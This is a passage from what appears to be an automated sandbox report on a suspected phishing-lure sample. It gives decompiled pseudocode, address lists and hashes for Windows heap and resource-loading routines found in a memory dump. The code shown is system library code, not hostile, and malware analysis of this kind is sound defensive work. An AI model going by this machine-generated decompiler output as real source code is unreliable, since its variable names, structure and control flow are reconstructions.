									if(_t99 == 0) {
										_t69 =  *((intOrPtr*)(_t114 - (_t99 >> 0xd)));
									} else {
										_t69 = 0;
									}
									_t48 =  *((intOrPtr*)(_t69 + 0x14));
								}
								_t85 =  *(_t114 + (_t48 & 0xffff) * 8 - 4);
							} else {
								_t85 = _t94 & 0x3f;
							}
						} else {
							_t85 =  *(_t114 + 4 + (_t94 & 0x3f) * 8) & 0x0000ffff;
						}
					} else {
						_t85 =  *(_t84 + 0x54) & 0x0000ffff ^  *(_t114 + 4) & 0x0000ffff;
					}
					_t110 = (_t108 << 3) - _t85;
				} else {
					if( *(__ecx + 0x4c) == 0) {
						_t77 =  *__edx & 0x0000ffff;
					} else {
						_t79 =  *__edx;
						if(( *(__ecx + 0x4c) & _t79) != 0) {
							_t79 = _t79 ^  *(__ecx + 0x50);
						}
						_t77 = _t79 & 0x0000ffff;
					}
					_t110 =  *((intOrPtr*)(_t114 - 8)) - (_t77 & 0x0000ffff);
				}
				_t51 =  *((intOrPtr*)(_t114 + 7));
				if(_t51 != 5) {
					if((_t51 & 0x00000040) == 0) {
						_t52 = 0;
						goto L42;
					}
					_t64 = _t51 & 0x3f;
					goto L38;
				} else {
					_t64 =  *(_t114 + 6) & 0x000000ff;
					L38:
					_t52 = _t64 << 0x00000003 & 0x0000ffff;
					L42:
					_t35 = _t114 + 8; // -16
					_t111 = _t110 + (_t52 & 0x0000ffff);
					_t83 = _t35 + _t111;
					_t54 = E00A6D4F0(_t83, 0x9f6c58, 8);
					_v8 = _t54;
					if(_t54 == 8) {
						goto L49;
					}
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E00A1B150();
					} else {
						E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push(_t111);
					_push(_v8 + _t83);
					E00A1B150("Heap block at %p modified at %p past requested size of %Ix\n", _t114);
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0xb06378 = 1;
						asm("int3");
						 *0xb06378 = 0;
					}
					_t43 = 0;
					goto L50;
				}
			}

0x00ac23e3
0x00ac23e8
0x00ac23eb
0x00ac23ee
0x00ac23f3
0x00ac259b
0x00ac259b
0x00ac259d
0x00ac25a3
0x00ac25a3
0x00ac23fb
0x00ac2424
0x00ac244f
0x00ac2460
0x00ac2451
0x00ac2451
0x00ac2456
0x00ac2458
0x00ac2458
0x00ac245b
0x00ac245b
0x00ac2426
0x00ac2431
0x00ac2436
0x00ac2443
0x00ac2438
0x00ac2438
0x00ac2438
0x00ac2445
0x00ac2445
0x00ac2463
0x00ac2469
0x00ac246f
0x00ac2480
0x00ac2495
0x00ac24a1
0x00ac24ce
0x00ac24df
0x00ac24d0
0x00ac24d0
0x00ac24d5
0x00ac24d7
0x00ac24d7
0x00ac24da
0x00ac24da
0x00ac24a3
0x00ac24b0
0x00ac24b5
0x00ac24c2
0x00ac24b7
0x00ac24b7
0x00ac24b7
0x00ac24c4
0x00ac24c4
0x00ac24e8
0x00ac2497
0x00ac249a
0x00ac249a
0x00ac2482
0x00ac2488
0x00ac2488
0x00ac2471
0x00ac2479
0x00ac2479
0x00ac24ef
0x00ac23fd
0x00ac2401
0x00ac2412
0x00ac2403
0x00ac2403
0x00ac2408
0x00ac240a
0x00ac240a
0x00ac240d
0x00ac240d
0x00ac241b
0x00ac241b
0x00ac24f1
0x00ac24f6
0x00ac2507
0x00ac2510
0x00000000
0x00ac2510
0x00ac250b
0x00000000
0x00ac24f8
0x00ac24f8
0x00ac24fc
0x00ac2500
0x00ac2512
0x00ac2515
0x00ac251a
0x00ac2521
0x00ac2524
0x00ac2529
0x00ac252f
0x00000000
0x00000000
0x00ac253c
0x00ac255c
0x00ac2561
0x00ac253e
0x00ac2554
0x00ac2559
0x00ac256a
0x00ac256d
0x00ac2574
0x00ac2586
0x00ac2588
0x00ac258f
0x00ac2590
0x00ac2590
0x00ac2597
0x00000000
0x00ac2597

Strings

Heap block at %p modified at %p past requested size of %Ix, xrefs: 00AC256F
HEAP: , xrefs: 00AC255C
HEAP[%wZ]: , xrefs: 00AC254F

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Heap block at %p modified at %p past requested size of %Ix
API String ID: 0-3815128232
Opcode ID: e21a6390a7fe7416c8badeaa347d472d563ce7203952d031ba697aa8b61fbab3
Instruction ID: b5d49c7b690733a2f020eef86d33c30491db7f428ae58551f6f8c58b1774f906
Opcode Fuzzy Hash: e21a6390a7fe7416c8badeaa347d472d563ce7203952d031ba697aa8b61fbab3
Instruction Fuzzy Hash: A55125341102648BE338CF2ACA54F72B7F1EB48744F26885DE8D28B281D639DC43EB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A3EB9A, Relevance: 3.9, Strings: 3, Instructions: 156
COMMONCrypto

Download Yara Rule

C-Code - Quality: 75%

			E00A3EB9A(intOrPtr __ecx, intOrPtr* __edx) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t62;
				signed int _t63;
				intOrPtr _t64;
				signed int _t65;
				intOrPtr _t77;
				signed int* _t91;
				intOrPtr _t92;
				signed int _t95;
				signed char _t109;
				signed int _t114;
				unsigned int _t119;
				intOrPtr* _t122;
				intOrPtr _t127;
				signed int _t130;
				void* _t135;

				_t92 = __ecx;
				_t122 = __edx;
				_v8 = __ecx;
				 *((intOrPtr*)(__ecx + 0xb4)) = __edx;
				if( *__edx != 0) {
					_t95 =  *((intOrPtr*)(__edx + 4)) -  *((intOrPtr*)(__edx + 0x14)) - 1;
					__eflags =  *(__edx + 8);
					if(__eflags != 0) {
						_t95 = _t95 + _t95;
					}
					 *( *((intOrPtr*)(_t122 + 0x20)) + _t95 * 4) =  *( *((intOrPtr*)(_t122 + 0x20)) + _t95 * 4) & 0x00000000;
					asm("btr eax, esi");
					_t92 = _v8;
				}
				_t62 = _t92 + 0xc0;
				_t127 =  *((intOrPtr*)(_t62 + 4));
				while(1) {
					L2:
					_v12 = _t127;
					if(_t62 == _t127) {
						break;
					}
					_t7 = _t127 - 8; // -8
					_t91 = _t7;
					if( *((intOrPtr*)(_t92 + 0x4c)) != 0) {
						_t119 =  *(_t92 + 0x50) ^  *_t91;
						 *_t91 = _t119;
						_t109 = _t119 >> 0x00000010 ^ _t119 >> 0x00000008 ^ _t119;
						if(_t119 >> 0x18 != _t109) {
							_push(_t109);
							E00ACFA2B(_t91, _v8, _t91, _t122, _t127, __eflags);
						}
						_t92 = _v8;
					}
					_t114 =  *_t91 & 0x0000ffff;
					_t63 = _t122;
					_t135 = _t114 -  *((intOrPtr*)(_t122 + 4));
					while(1) {
						_v20 = _t63;
						if(_t135 < 0) {
							break;
						}
						_t130 =  *_t63;
						_v16 = _t130;
						_t127 = _v12;
						if(_t130 != 0) {
							_t63 = _v16;
							__eflags = _t114 -  *((intOrPtr*)(_t63 + 4));
							continue;
						}
						_v16 =  *((intOrPtr*)(_t63 + 4)) - 1;
						L10:
						if( *_t122 != 0) {
							_t64 =  *((intOrPtr*)(_t122 + 4));
							__eflags = _t114 - _t64;
							_t65 = _t64 - 1;
							__eflags = _t65;
							if(_t65 < 0) {
								_t65 = _t114;
							}
							E00A3BC04(_t92, _t122, 1, _t127, _t65, _t114);
						}
						E00A3E4A0(_v8, _v20, 1, _t127, _v16,  *_t91 & 0x0000ffff);
						if( *0xb08748 >= 1) {
							__eflags =  *( *((intOrPtr*)(_v20 + 0x1c)) + (_v16 -  *((intOrPtr*)(_v20 + 0x14)) >> 5) * 4) & 1 << (_v16 -  *((intOrPtr*)(_v20 + 0x14)) & 0x0000001f);
							if(__eflags == 0) {
								_t77 =  *[fs:0x30];
								__eflags =  *(_t77 + 0xc);
								if( *(_t77 + 0xc) == 0) {
									_push("HEAP: ");
									E00A1B150();
								} else {
									E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push("RtlpGetBitState(LookupTable, (ULONG)(LookupIndex - LookupTable->BaseIndex))");
								E00A1B150();
								__eflags =  *0xb07bc8;
								if(__eflags == 0) {
									__eflags = 1;
									E00AD2073(_t91, 1, _t122, 1);
								}
							}
							_t127 = _v12;
						}
						_t92 = _v8;
						if( *((intOrPtr*)(_t92 + 0x4c)) != 0) {
							_t91[0] = _t91[0] ^ _t91[0] ^  *_t91;
							 *_t91 =  *_t91 ^  *(_t92 + 0x50);
						}
						_t127 =  *((intOrPtr*)(_t127 + 4));
						_t62 = _t92 + 0xc0;
						goto L2;
					}
					_v16 = _t114;
					goto L10;
				}
				return _t62;
			}

0x00a3eb9a
0x00a3eba5
0x00a3eba7
0x00a3ebaa
0x00a3ebb3
0x00a3eca0
0x00a3eca1
0x00a3eca5
0x00a3ecd1
0x00a3ecd1
0x00a3ecaa
0x00a3ecc3
0x00a3ecc9
0x00a3ecc9
0x00a3ebb9
0x00a3ebbf
0x00a3ebc2
0x00a3ebc2
0x00a3ebc2
0x00a3ebc7
0x00000000
0x00000000
0x00a3ebd1
0x00a3ebd1
0x00a3ebd4
0x00a3ebd9
0x00a3ebdd
0x00a3ebe9
0x00a3ebf0
0x00a84258
0x00a8425e
0x00a8425e
0x00a3ebf6
0x00a3ebf6
0x00a3ebf9
0x00a3ebfc
0x00a3ebfe
0x00a3ec01
0x00a3ec01
0x00a3ec04
0x00000000
0x00000000
0x00a3ec0a
0x00a3ec0e
0x00a3ec11
0x00a3ec14
0x00a3ec8f
0x00a3ec92
0x00000000
0x00a3ec92
0x00a3ec1a
0x00a3ec1d
0x00a3ec20
0x00a3ec72
0x00a3ec75
0x00a3ec77
0x00a3ec77
0x00a3ec78
0x00a3ec7a
0x00a3ec7a
0x00a3ec83
0x00a3ec83
0x00a3ec32
0x00a3ec3e
0x00a84281
0x00a84284
0x00a84286
0x00a8428c
0x00a84290
0x00a842af
0x00a842b4
0x00a84292
0x00a842a7
0x00a842ac
0x00a842ba
0x00a842bf
0x00a842c4
0x00a842cc
0x00a842d0
0x00a842d1
0x00a842d1
0x00a842cc
0x00a842d6
0x00a842d6
0x00a3ec44
0x00a3ec4b
0x00a3ec55
0x00a3ec5b
0x00a3ec5b
0x00a3ec5d
0x00a3ec60
0x00000000
0x00a3ec60
0x00a3ec8a
0x00000000
0x00a3ec8a
0x00a3ec71

Strings

HEAP: , xrefs: 00A842AF
HEAP[%wZ]: , xrefs: 00A842A2
RtlpGetBitState(LookupTable, (ULONG)(LookupIndex - LookupTable->BaseIndex)), xrefs: 00A842BA

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $RtlpGetBitState(LookupTable, (ULONG)(LookupIndex - LookupTable->BaseIndex))
API String ID: 0-1596344177
Opcode ID: 52be740084d42079a02cc4a1e33f0f264854332f24509f4f9e44383092739786
Instruction ID: 3102d46519c82d2449d0c0d16fe4fa2898b24137b645c21689c69d504c8e4ed5
Opcode Fuzzy Hash: 52be740084d42079a02cc4a1e33f0f264854332f24509f4f9e44383092739786
Instruction Fuzzy Hash: B9518E31A04619EFCB14DF58C594AADBBB1FF89314F2581A9F8059B382D731AD42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00A3B8E4, Relevance: 3.8, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00A3B8E4(unsigned int __edx) {
				void* __ecx;
				void* __edi;
				intOrPtr* _t16;
				intOrPtr _t18;
				void* _t27;
				void* _t28;
				unsigned int _t30;
				intOrPtr* _t31;
				unsigned int _t38;
				void* _t39;
				unsigned int _t40;

				_t40 = __edx;
				_t39 = _t28;
				if( *0xb08748 >= 1) {
					__eflags = (__edx + 0x00000fff & 0xfffff000) - __edx;
					if((__edx + 0x00000fff & 0xfffff000) != __edx) {
						_t18 =  *[fs:0x30];
						__eflags =  *(_t18 + 0xc);
						if( *(_t18 + 0xc) == 0) {
							_push("HEAP: ");
							E00A1B150();
						} else {
							E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push("(ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)");
						E00A1B150();
						__eflags =  *0xb07bc8;
						if(__eflags == 0) {
							E00AD2073(_t27, 1, _t39, __eflags);
						}
					}
				}
				_t38 =  *(_t39 + 0xb8);
				if(_t38 != 0) {
					_t13 = _t40 >> 0xc;
					__eflags = _t13;
					while(1) {
						__eflags = _t13 -  *((intOrPtr*)(_t38 + 4));
						if(_t13 <  *((intOrPtr*)(_t38 + 4))) {
							break;
						}
						_t30 =  *_t38;
						__eflags = _t30;
						if(_t30 != 0) {
							_t38 = _t30;
							continue;
						}
						_t13 =  *((intOrPtr*)(_t38 + 4)) - 1;
						__eflags =  *((intOrPtr*)(_t38 + 4)) - 1;
						break;
					}
					return E00A3AB40(_t39, _t38, 0, _t13, _t40);
				} else {
					_t31 = _t39 + 0x8c;
					_t16 =  *_t31;
					while(_t31 != _t16) {
						__eflags =  *((intOrPtr*)(_t16 + 0x14)) - _t40;
						if( *((intOrPtr*)(_t16 + 0x14)) >= _t40) {
							return _t16;
						}
						_t16 =  *_t16;
					}
					return _t31;
				}
			}

0x00a3b8f0
0x00a3b8f2
0x00a3b8f4
0x00a82c4e
0x00a82c50
0x00a82c56
0x00a82c5c
0x00a82c60
0x00a82c7f
0x00a82c84
0x00a82c62
0x00a82c77
0x00a82c7c
0x00a82c8a
0x00a82c8f
0x00a82c94
0x00a82c9c
0x00a82ca5
0x00a82ca5
0x00a82c9c
0x00a82c50
0x00a3b8fa
0x00a3b902
0x00a3b921
0x00a3b921
0x00a3b924
0x00a3b924
0x00a3b927
0x00000000
0x00000000
0x00a3b929
0x00a3b92b
0x00a3b92d
0x00a3b940
0x00000000
0x00a3b940
0x00a3b932
0x00a3b932
0x00000000
0x00a3b932
0x00000000
0x00a3b904
0x00a3b904
0x00a3b90a
0x00a3b90c
0x00a3b916
0x00a3b919
0x00a3b915
0x00a3b915
0x00a3b91b
0x00a3b91b
0x00000000
0x00a3b910

Strings

HEAP: , xrefs: 00A82C7F
HEAP[%wZ]: , xrefs: 00A82C72
(ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size), xrefs: 00A82C8A

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: (ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-2558761708
Opcode ID: 275c7e76a06b153343177d3c927ed78c522a7c1f5174b2372674d675c74a4918
Instruction ID: fd1503fb784a3acc5bceb9d4fa1ae55bd3a3dfb18e06501b711ce2a02a44c33d
Opcode Fuzzy Hash: 275c7e76a06b153343177d3c927ed78c522a7c1f5174b2372674d675c74a4918
Instruction Fuzzy Hash: A611E2317242059FD728DB29D495B7AB3B6EF90B20F25812AF24ACB391DB30DC80D761

Uniqueness

Uniqueness Score: -1.00%

Function 00A2BA00, Relevance: 3.1, Strings: 2, Instructions: 614
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00A2BA00(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8, signed int _a12, signed int _a16, signed int _a20, signed int _a24) {
				void* _v4;
				char _v88;
				char _v792;
				char _v1496;
				char _v1672;
				char _v2376;
				int _v2380;
				char _v2381;
				char _v2382;
				void* _v2388;
				short _v2390;
				char _v2392;
				intOrPtr _v2396;
				int _v2400;
				char _v2408;
				int _v2412;
				int _v2416;
				void* _v2420;
				char _v2424;
				signed int _v2428;
				signed int _v2432;
				char* _v2436;
				short _v2438;
				char _v2440;
				signed int _v2444;
				char _v2448;
				signed int _v2452;
				short _v2454;
				char _v2456;
				int _v2460;
				int _v2464;
				int _v2468;
				char _v2472;
				int _v2476;
				int _v2480;
				signed int _v2484;
				void* _v2488;
				intOrPtr _v2496;
				signed int _v2500;
				int _v2508;
				char _v2512;
				char* _v2516;
				char _v2520;
				char _v2528;
				char _v2556;
				char _v2560;
				char _v2564;
				intOrPtr _t254;
				void* _t257;
				signed int _t258;
				int _t264;
				signed int _t267;
				signed int _t270;
				signed int _t273;
				signed int _t277;
				signed char* _t280;
				signed int _t281;
				signed char* _t282;
				signed int _t291;
				signed int _t294;
				signed char* _t295;
				signed int _t296;
				signed char* _t297;
				signed int _t300;
				signed int _t309;
				signed int _t311;
				signed int _t317;
				int _t334;
				signed int _t337;
				intOrPtr* _t338;
				signed int _t339;
				signed int _t364;
				int _t374;
				signed int _t376;
				signed int _t378;
				signed int _t391;
				void* _t401;
				signed int _t403;
				intOrPtr _t406;
				signed int _t411;
				signed int _t416;
				signed int _t422;
				intOrPtr* _t430;
				signed int _t431;
				intOrPtr* _t438;
				signed int _t442;
				short _t454;
				void* _t458;
				void* _t464;
				void* _t467;
				signed int _t468;
				signed char* _t472;
				int _t477;
				signed int _t478;
				void* _t486;

				_push(0x9f4);
				_push(0xaefa40);
				E00A6D0E8(__ebx, __edi, __esi);
				_v2396 = _a8;
				_v2444 = _a12 & 0x0000ffff;
				_v2428 = _a16;
				_v2484 = _a20;
				_v2448 = 0;
				_v2480 = 0;
				_t477 = 0;
				_v2420 = 0;
				_v2412 = 0;
				_v2468 = 0;
				_v2408 = 0;
				_v2488 = 0;
				_v2382 = 0;
				_v2564 = 0x24;
				_v2560 = 1;
				_t403 = 7;
				_t467 =  &_v2556;
				memset(_t467, 0, _t403 << 2);
				_t468 = _t467 + _t403;
				_v2424 = 0;
				_v2464 = 0;
				_v2460 = 0;
				_v2381 = 1;
				_v2476 = 0;
				_v2432 =  &_v2376;
				_v2472 = 0x2be;
				_v2496 = 1;
				_v2416 = 1;
				_t254 = _v2396;
				if(_t254 == 0) {
					L99:
					goto L8;
				} else {
					_t405 = _v2444;
					if(_v2444 == 0) {
						goto L99;
					} else {
						_t468 = _v2428;
						if(_t468 == 0) {
							goto L99;
						} else {
							_t406 = _t254;
							_t257 = E00A2D1D0(_t406, _t405,  &_v2408, 4);
							if(_t257 == 0xffffffff) {
								_t468 = _a24 & 0x00400000;
								__eflags = _t468;
								if(_t468 != 0) {
									goto L10;
								} else {
									 *_v2428 = 0;
									goto L8;
								}
							} else {
								if(_t257 == 0) {
									_t468 = _a24 & 0x00400000;
									__eflags = _t468;
									L10:
									_v2500 = _t468;
									_v2400 = 0;
									__eflags = _t468;
									if(_t468 != 0) {
										_t258 = 0xc0000039;
									} else {
										_t406 = _v2396;
										_t258 = L00A48ED7(_t406,  &_v792, _t406,  &_v2480,  &_v2420,  &_v2412,  &_v2476);
										_t477 = _v2420;
									}
									__eflags = _t258;
									if(_t258 < 0) {
										_t406 = _v2396;
										_t478 = E00AA6365(_t406,  &_v792, 0x2be,  &_v2480,  &_v2460,  &_v2412,  &_v2424);
										_v2380 = _t478;
										__eflags = _t478;
										if(_t478 < 0) {
											goto L30;
										} else {
											_t477 = _v2460;
											_v2420 = _t477;
											goto L13;
										}
									} else {
										L13:
										_t291 = _v2480 & 0xfffffffe;
										__eflags = _t291 - 0x2be;
										if(_t291 >= 0x2be) {
											L00A5B75A();
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											_push(_t486);
											_push(_t406);
											_push(0);
											_push(_t477);
											_push(_t468);
											_t294 =  *( *[fs:0x30] + 0x50);
											_t472 = 0x7ffe0385;
											__eflags = _t294;
											if(_t294 != 0) {
												__eflags =  *_t294;
												if( *_t294 == 0) {
													goto L63;
												} else {
													_t295 =  *( *[fs:0x30] + 0x50) + 0x22b;
												}
											} else {
												L63:
												_t295 = _t472;
											}
											__eflags =  *_t295 & 0x00000001;
											_t481 = 0x7ffe0384;
											if(( *_t295 & 0x00000001) != 0) {
												_t296 = E00A37D50();
												__eflags = _t296;
												if(_t296 == 0) {
													_t297 = 0x7ffe0384;
												} else {
													_t297 =  *( *[fs:0x30] + 0x50) + 0x22a;
												}
												L00AA6715(0x9f1b58,  *_t297 & 0x000000ff);
											}
											_t401 = E00A2C1C0(_a4, _a8, _a12, 0, _a16);
											_t416 =  *( *[fs:0x30] + 0x50);
											__eflags = _t416;
											if(_t416 != 0) {
												__eflags =  *_t416;
												if( *_t416 != 0) {
													_t472 =  *( *[fs:0x30] + 0x50) + 0x22b;
												}
											}
											__eflags =  *_t472 & 0x00000001;
											if(( *_t472 & 0x00000001) != 0) {
												_t300 = E00A37D50();
												__eflags = _t300;
												if(_t300 != 0) {
													_t481 =  *( *[fs:0x30] + 0x50) + 0x22a;
													__eflags =  *( *[fs:0x30] + 0x50) + 0x22a;
												}
												L00AA6715(0x9f1b48,  *_t481 & 0x000000ff);
											}
											return _t401;
										} else {
											 *((short*)(_t486 + _t291 - 0x318)) = 0;
											_t309 = L00A613D0(_t477, 0x7e);
											__eflags = _t309;
											if(_t309 != 0) {
												_t311 = L00AA5F5F( &_v792, _t477,  &_v2464);
												__eflags = _t311;
												if(_t311 < 0) {
													goto L15;
												} else {
													_t477 = _v2464;
													_v2420 = _t477;
													_t438 = _t477;
													_t464 = _t438 + 2;
													do {
														_t391 =  *_t438;
														_t438 = _t438 + 2;
														__eflags = _t391;
													} while (_t391 != 0);
													_t422 = (_t438 - _t464 >> 1) + (_t438 - _t464 >> 1);
													_v2412 = _t422;
													goto L16;
												}
												L33:
												__eflags = _t264;
												if(_t264 != 0) {
													_push(_v2408);
													_push(_t478);
													asm("sbb edi, edi");
													_t468 = ( ~_t468 & 0x00000020) + 1;
													__eflags = _t468;
													_push(_t468);
													_push(_v2444);
													_push(0);
													_push( &_v2448);
													E00A4DA88(0, _v2396,  &_v2400, _t468, _t478, _t468);
												}
												__eflags = _v2400 - 0xffffffff;
												if(_v2400 == 0xffffffff) {
													 *_v2428 = 0;
												} else {
													_t277 = E00A37D50();
													__eflags = _t277;
													if(_t277 != 0) {
														_t280 =  *( *[fs:0x30] + 0x50) + 0x22b;
													} else {
														_t280 = 0x7ffe0385;
													}
													__eflags =  *_t280 & 0x00000001;
													if(( *_t280 & 0x00000001) != 0) {
														_t281 = E00A37D50();
														__eflags = _t281;
														if(_t281 == 0) {
															_t282 = 0x7ffe0384;
														} else {
															_t282 =  *( *[fs:0x30] + 0x50) + 0x22a;
														}
														L00AA6715( &_v2392,  *_t282 & 0x000000ff);
													}
													_v4 = 2;
													 *_v2428 = _v2400;
													_t411 = _v2484;
													__eflags = _t411;
													if(_t411 != 0) {
														 *_t411 = _v2408;
													}
													_t477 = 0;
													_v2380 = 0;
													_v4 = 0xfffffffe;
												}
												__eflags = _v2460;
												if(_v2460 != 0) {
													L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v2460);
												}
												_t267 = _v2464;
												__eflags = _t267;
												if(_t267 != 0) {
													L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t267);
												}
												_t270 = _v2468;
												__eflags = _t270;
												if(_t270 != 0) {
													L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t270);
													_t477 = _v2380;
												}
												_t273 = _v2432;
												__eflags = _t273;
												if(_t273 != 0) {
													__eflags =  &_v2376 - _t273;
													if( &_v2376 != _t273) {
														L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t273);
														_t477 = _v2380;
													}
												}
												goto L8;
											} else {
												L15:
												_t422 = _v2412;
											}
											L16:
											_v2516 =  &_v1496;
											_v2520 = 0x2be0000;
											_v2508 = 0;
											_v2512 = 0;
											_t454 = 0x3c;
											__eflags = _t422 + 0xc - _t454;
											if(_t422 + 0xc > _t454) {
												_t317 = L00A34620(_t422,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0xa + _t422 * 2);
												_v2468 = _t317;
												__eflags = _t317;
												if(_t317 == 0) {
													_t478 = 0xc0000017;
													goto L89;
												} else {
													_v2452 = _t317;
													_v2454 = 0xa + _v2412 * 2;
													_t477 = _v2420;
													goto L18;
												}
											} else {
												_v2452 =  &_v88;
												_v2454 = _t454;
												L18:
												_v2456 = 0;
												_t478 = E00A2A990(_t422,  &_v2456, _t477);
												_v2380 = _t478;
												__eflags = _t478;
												if(_t478 >= 0) {
													_t478 = E00A2A990(_t422,  &_v2456, L".mui");
													_v2380 = _t478;
													__eflags = _t478;
													if(_t478 >= 0) {
														_t484 = _v2476;
														__eflags = _v2476;
														if(__eflags != 0) {
															E00A2F540( &_v2564, _t484);
														}
														_v4 = 1;
														_t456 = _v2444;
														_t424 =  &_v2456;
														_v2380 = E00A51CC7(0,  &_v2456, _v2444, _t468, _t484, __eflags,  &_v2520,  &_v2512,  &_v2488);
														_v4 = 0xfffffffe;
														L00A2BFE4(_t329, _t484);
														__eflags = _v2380;
														if(_v2380 >= 0) {
															_v2382 = 1;
															_t424 = _v2488;
															_v2388 =  *((intOrPtr*)(_t424 + 4));
															_v2392 =  *_t424;
															_v2390 =  *((intOrPtr*)(_t424 + 2));
														}
														__eflags = _v2382;
														if(_v2382 != 0) {
															_v2436 = 0;
															_t334 = 0;
															_v2416 = 0;
															goto L28;
														} else {
															_v2388 =  &_v1496;
															_v2392 = 0x2be0000;
															E00A2A990(_t424,  &_v2392,  &_v792);
															_v2436 =  &_v1672;
															_v2438 = 0xaa;
															_t364 = L00A24720(_t456, _v2444 & 0x0000ffff,  &_v2440, 2, 0);
															__eflags = _t364;
															if(_t364 < 0) {
																_t478 = 0xc000000d;
																goto L89;
															} else {
																E00A27B60(_t424,  &_v2392,  &_v2440);
																E00A2A990(_t424,  &_v2392, "\\");
																E00A2A990(_t424,  &_v2392, _v2452);
																_t434 = _v2436;
																_t374 = L00A4FE34(_v2436, _v2388, __eflags,  &_v2472,  &_v2376);
																_v2380 = _t374;
																__eflags = _t374 - 0xc0000023;
																if(_t374 == 0xc0000023) {
																	_t376 = L00A34620(_t434,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v2472);
																	_v2432 = _t376;
																	__eflags = _t376;
																	if(__eflags == 0) {
																		goto L26;
																	} else {
																		_v2380 = L00A4FE34(_v2436, _v2388, __eflags,  &_v2472, _t376);
																		goto L25;
																	}
																	goto L33;
																} else {
																	L25:
																	_t376 = _v2432;
																}
																L26:
																__eflags = _v2380;
																if(_v2380 >= 0) {
																	_t378 = E00A26D30( &_v2528, _t376);
																	__eflags = _t378;
																	if(_t378 < 0) {
																		goto L27;
																	} else {
																		_t478 = L00A4D715(_v2396,  &_v2528, _v2424, _a24, _v2436, 2,  &_v2448,  &_v2408,  &_v2400);
																		_v2380 = _t478;
																		__eflags = _t478;
																		if(_t478 < 0) {
																			__eflags = _t478 - 0xc0000034;
																			if(__eflags != 0) {
																				L00A97632(_t478,  &_v2528, __eflags, _v2424, _a24,  &_v2440);
																			}
																			goto L27;
																		} else {
																			E00A26D30( &_v2392, _v2432);
																		}
																	}
																} else {
																	L27:
																	_t334 = _v2416;
																	L28:
																	_t478 = L00A4D715(_v2396,  &_v2392, _v2424, _a24, _v2436, _t334,  &_v2448,  &_v2408,  &_v2400);
																	_v2380 = _t478;
																	__eflags = _t478 - 0xc000003a;
																	if(_t478 == 0xc000003a) {
																		L50:
																		_t337 = E00A530B8( &_v792,  &_v1496);
																		__eflags = _t337;
																		if(_t337 != 0) {
																			_t338 =  &_v1496;
																			_v2388 = _t338;
																			_t430 = _t338;
																			_t458 = _t430 + 2;
																			do {
																				_t339 =  *_t430;
																				_t430 = _t430 + 2;
																				__eflags = _t339;
																			} while (_t339 != 0);
																			_t431 = _t430 - _t458;
																			__eflags = _t431;
																			_t432 = _t431 >> 1;
																			_v2392 = (_t431 >> 1) + (_t431 >> 1);
																			_v2390 = 0x2be;
																			E00A2A990(_t431 >> 1,  &_v2392, "\\");
																			E00A27B60(_t432,  &_v2392,  &_v2440);
																			E00A2A990(_t432,  &_v2392, "\\");
																			E00A2A990(_t432,  &_v2392, _v2452);
																			_t478 = L00A4D715(_v2396,  &_v2392, _v2424, _a24, _v2436, _v2416,  &_v2448,  &_v2408,  &_v2400);
																			L89:
																			_v2380 = _t478;
																		}
																	} else {
																		__eflags = _t478 - 0xc0000034;
																		if(_t478 == 0xc0000034) {
																			goto L50;
																		}
																	}
																}
															}
														}
													}
												}
											}
											L30:
											__eflags = _v2400;
											if(_v2400 == 0) {
												_v2400 = _v2400 | 0xffffffff;
											}
											__eflags = _t478;
											if(_t478 < 0) {
												__eflags = _t478 - 0xc000012d;
												if(_t478 == 0xc000012d) {
													L90:
													_t264 = 0;
												} else {
													__eflags = _t478 - 0xc00000a5;
													if(_t478 == 0xc00000a5) {
														goto L90;
													} else {
														__eflags = _t478 - 0xc0000017;
														if(_t478 != 0xc0000017) {
															goto L32;
														} else {
															goto L90;
														}
													}
												}
											} else {
												L32:
												_t264 = _v2381;
											}
											goto L33;
										}
									}
								} else {
									_v4 = 0;
									 *_t468 = _t257;
									_t442 = _v2484;
									if(_t442 != 0) {
										 *_t442 = _v2408;
